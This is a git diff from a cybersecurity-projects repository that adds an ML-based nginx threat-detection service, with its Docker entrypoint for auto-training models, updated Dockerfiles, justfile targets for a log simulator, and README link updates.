|
||||
if [ -L "$f" ]; then
|
||||
rm -f "$f"
|
||||
fi
|
||||
done
|
||||
|
||||
REQUIRED_FILES="ae.onnx rf.onnx if.onnx scaler.json threshold.json"
|
||||
|
||||
all_models_exist() {
|
||||
for f in $REQUIRED_FILES; do
|
||||
if [ ! -f "$MODEL_DIR/$f" ]; then
|
||||
return 1
|
||||
fi
|
||||
done
|
||||
return 0
|
||||
}
|
||||
|
||||
if all_models_exist; then
|
||||
echo "Trained models found in $MODEL_DIR — skipping auto-train"
|
||||
elif [ "$SKIP_AUTO_TRAIN" = "true" ]; then
|
||||
echo "SKIP_AUTO_TRAIN=true — starting in rules-only mode"
|
||||
else
|
||||
echo "No ML models found in $MODEL_DIR — training with synthetic data..."
|
||||
echo "This takes ~1-2 minutes on first run. Models persist to the volume for future starts."
|
||||
python -m cli.main train \
|
||||
--synthetic-normal 2000 \
|
||||
--synthetic-attack 1000 \
|
||||
--output-dir "$MODEL_DIR" \
|
||||
--epochs 100 \
|
||||
--batch-size 256 2>&1
|
||||
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Training complete — starting in hybrid (rules + ML) mode"
|
||||
else
|
||||
echo "WARNING: Training failed — starting in rules-only mode"
|
||||
fi
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
|
|
@ -1,6 +1,5 @@
|
|||
# ©AngelaMos | 2026
|
||||
# Development FastAPI Dockerfile
|
||||
# Hot reload with uvicorn, volume mounts for code
|
||||
# fastapi.dev
|
||||
|
||||
FROM python:3.14-slim
|
||||
|
||||
|
|
@ -19,10 +18,14 @@ RUN apt-get update && \
|
|||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY backend/pyproject.toml ./
|
||||
RUN uv pip install --system -e .[dev]
|
||||
RUN uv pip install --system -e ".[dev,ml]"
|
||||
|
||||
COPY backend/ .
|
||||
COPY infra/docker/entrypoint.sh /app/entrypoint.sh
|
||||
RUN chmod +x /app/entrypoint.sh && \
|
||||
mkdir -p /app/data/models
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
ENTRYPOINT ["/app/entrypoint.sh"]
|
||||
CMD ["uvicorn", "app.factory:create_app", "--factory", "--host", "0.0.0.0", "--port", "8000", "--reload"]
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
# ©AngelaMos | 2026
|
||||
# Production FastAPI Dockerfile
|
||||
# Multi-stage build, single uvicorn worker (pipeline runs in-process)
|
||||
# fastapi.prod
|
||||
|
||||
FROM python:3.14-slim AS builder
|
||||
|
||||
|
|
@ -18,7 +17,7 @@ RUN apt-get update && \
|
|||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY backend/pyproject.toml ./
|
||||
RUN uv pip compile pyproject.toml -o requirements.txt && \
|
||||
RUN uv pip compile pyproject.toml --extra ml -o requirements.txt && \
|
||||
uv pip install --target /app/deps -r requirements.txt
|
||||
|
||||
FROM python:3.14-slim
|
||||
|
|
@ -37,14 +36,17 @@ ENV PYTHONPATH=/home/appuser/.local/lib/python3.14/site-packages:$PYTHONPATH \
|
|||
PATH=/home/appuser/.local/lib/python3.14/site-packages/bin:$PATH
|
||||
|
||||
COPY backend/ .
|
||||
COPY infra/docker/entrypoint.sh /app/entrypoint.sh
|
||||
|
||||
RUN mkdir -p /app/data/models && \
|
||||
chmod +x /app/entrypoint.sh && \
|
||||
chown -R appuser:appuser /app
|
||||
USER appuser
|
||||
|
||||
EXPOSE 8000
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=10s --start-period=40s --retries=3 \
|
||||
HEALTHCHECK --interval=30s --timeout=10s --start-period=180s --retries=3 \
|
||||
CMD curl -f http://localhost:8000/health || exit 1
|
||||
|
||||
ENTRYPOINT ["/app/entrypoint.sh"]
|
||||
CMD ["uvicorn", "app.factory:create_app", "--factory", "--host", "0.0.0.0", "--port", "8000"]
|
||||
|
|
|
|||
|
|
@ -280,6 +280,38 @@ clean:
|
|||
-rm -rf backend/.coverage
|
||||
@echo "Cache directories cleaned"
|
||||
|
||||
# =============================================================================
|
||||
# Dev-Log (target app for realistic log generation)
|
||||
# =============================================================================
|
||||
|
||||
[group('devlog')]
|
||||
devlog-up *ARGS:
|
||||
cd dev-log && docker compose up -d {{ARGS}}
|
||||
|
||||
[group('devlog')]
|
||||
devlog-down *ARGS:
|
||||
cd dev-log && docker compose down {{ARGS}}
|
||||
|
||||
[group('devlog')]
|
||||
devlog-build:
|
||||
cd dev-log && docker compose build
|
||||
|
||||
[group('devlog')]
|
||||
devlog-logs:
|
||||
cd dev-log && docker compose logs -f
|
||||
|
||||
[group('devlog')]
|
||||
devlog-simulate mode='mixed' count='100' delay='0.1':
|
||||
python dev-log/simulate.py {{mode}} -n {{count}} -d {{delay}}
|
||||
|
||||
[group('devlog')]
|
||||
devlog-normal count='200':
|
||||
python dev-log/simulate.py normal -n {{count}} -d 0.05
|
||||
|
||||
[group('devlog')]
|
||||
devlog-attack count='50':
|
||||
python dev-log/simulate.py mixed -n {{count}} -d 0.1
|
||||
|
||||
[group('util')]
|
||||
[confirm("Remove all containers, volumes, and build artifacts?")]
|
||||
nuke:
|
||||
|
|
|
|||
|
|
@ -20,6 +20,8 @@
|
|||
</a>
|
||||
</div>
|
||||
|
||||
<p align="center">Made possible by <a href="https://certgames.com"><strong>CertGames</strong></a></p>
|
||||
|
||||
<h2 align="center"><strong>View Complete Projects:</strong></h2>
|
||||
<div align="center">
|
||||
<a href="https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS">
|
||||
|
|
@ -27,7 +29,7 @@
|
|||
</a>
|
||||
</div>
|
||||
|
||||
<p align="center"><sub><em>Currently building: <a href="./SYNOPSES/advanced/AI.Threat.Detection.md">AI Threat Detection</a></em></sub></p>
|
||||
<p align="center"><sub><em>Currently building: <a href="./SYNOPSES/beginner/Hash.Cracker.md">Hash Cracker</a></em></sub></p>
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -105,7 +107,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
|
|||
| **[API Rate Limiter](./PROJECTS/advanced/api-rate-limiter)**<br>Distributed rate limiting middleware |     | Token bucket algorithm • Distributed systems • Redis backend<br>[Source Code](./PROJECTS/advanced/api-rate-limiter) \| [Docs](./PROJECTS/advanced/api-rate-limiter/learn) |
|
||||
| **[Encrypted Chat Application](./PROJECTS/advanced/encrypted-p2p-chat)**<br>Real-time E2EE messaging |      | Signal Protocol • Double Ratchet • WebAuthn • WebSockets<br>[Source Code](./PROJECTS/advanced/encrypted-p2p-chat) \| [Docs](./PROJECTS/advanced/encrypted-p2p-chat/learn) |
|
||||
| **[Exploit Development Framework](./SYNOPSES/advanced/Exploit.Development.Framework.md)**<br>Modular exploitation framework |    | Exploit development • Payload generation • Plugin architecture<br>[Learn More](./SYNOPSES/advanced/Exploit.Development.Framework.md) |
|
||||
| **[AI Threat Detection](./SYNOPSES/advanced/AI.Threat.Detection.md)**<br>ML-based traffic classification |     | Machine learning • Network traffic analysis • Model deployment<br>[Learn More](./SYNOPSES/advanced/AI.Threat.Detection.md) |
|
||||
| **[AI Threat Detection](./PROJECTS/advanced/ai-threat-detection)**<br>ML-powered nginx threat detection |      | ML ensemble (AE + RF + IF) • ONNX inference • Real-time detection<br>[Source Code](./PROJECTS/advanced/ai-threat-detection) |
|
||||
| **[Bug Bounty Platform](./PROJECTS/advanced/bug-bounty-platform)**<br>Full vulnerability disclosure platform |      | Full-stack development • CVSS scoring • Workflow automation<br>[Source Code](./PROJECTS/advanced/bug-bounty-platform) \| [Docs](./PROJECTS/advanced/bug-bounty-platform/learn) |
|
||||
| **[Cloud Security Posture Management](./SYNOPSES/advanced/Cloud.Security.Posture.Management.md)**<br>Multi-cloud misconfiguration scanner |      | Cloud security • CIS benchmarks • Multi-cloud APIs<br>[Learn More](./SYNOPSES/advanced/Cloud.Security.Posture.Management.md) |
|
||||
| **[Malware Analysis Platform](./SYNOPSES/advanced/Malware.Analysis.Platform.md)**<br>Automated sandbox analysis |     | Malware analysis • Sandboxing • YARA rules • IOC extraction<br>[Learn More](./SYNOPSES/advanced/Malware.Analysis.Platform.md) |
|
||||
|
|
|
|||
Loading…
Reference in New Issue